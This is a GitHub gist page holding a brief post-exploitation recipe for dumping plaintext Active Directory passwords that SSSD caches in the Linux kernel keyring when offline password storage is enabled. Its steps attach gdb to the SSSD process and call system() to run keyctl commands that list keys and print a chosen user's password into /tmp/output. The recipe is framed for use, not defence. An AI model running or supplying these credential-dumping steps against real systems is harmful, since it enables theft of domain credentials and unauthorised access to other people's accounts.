Skip to content

Instantly share code, notes, and snippets.

@shelld0n

shelld0n/gist:bdeff6194ec729d7d1c3ee81c317da8f

Forked from jeffmcjunkin/gist:d5fb8dbf15cbd5d37a77fafccda4d969
Created May 27, 2021 19:47
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save shelld0n/bdeff6194ec729d7d1c3ee81c317da8f to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save shelld0n/bdeff6194ec729d7d1c3ee81c317da8f to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @jeffmcjunkin jeffmcjunkin created this gist Oct 6, 2020.
    20 changes: 20 additions & 0 deletions gistfile1.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,20 @@
    for who ever this interest, if you enable krb5_store_password_if_offline in the SSSD configuration, the AD password for accounts is stored in plaintext in the kernel keyring
    to dump the clear text password you can do :

    ```
    gdb -p <PID_OF_SSSD>
    call system("keyctl show > /tmp/output")
    ```

    From the /tmp/output locate the key_id for the user you want
    Example of an output is :
    Session Keyring
    204928979 --alswrv 0 0 keyring: _ses
    471547288 --alswrv 0 0 \_ user: [email protected]
    now again in GDB do the following :

    ```
    call system("keyctl print 471547288 > /tmp/output") # or whatever key_id from the past output
    ```

    enjoy the cleartext password in /tmp/output :)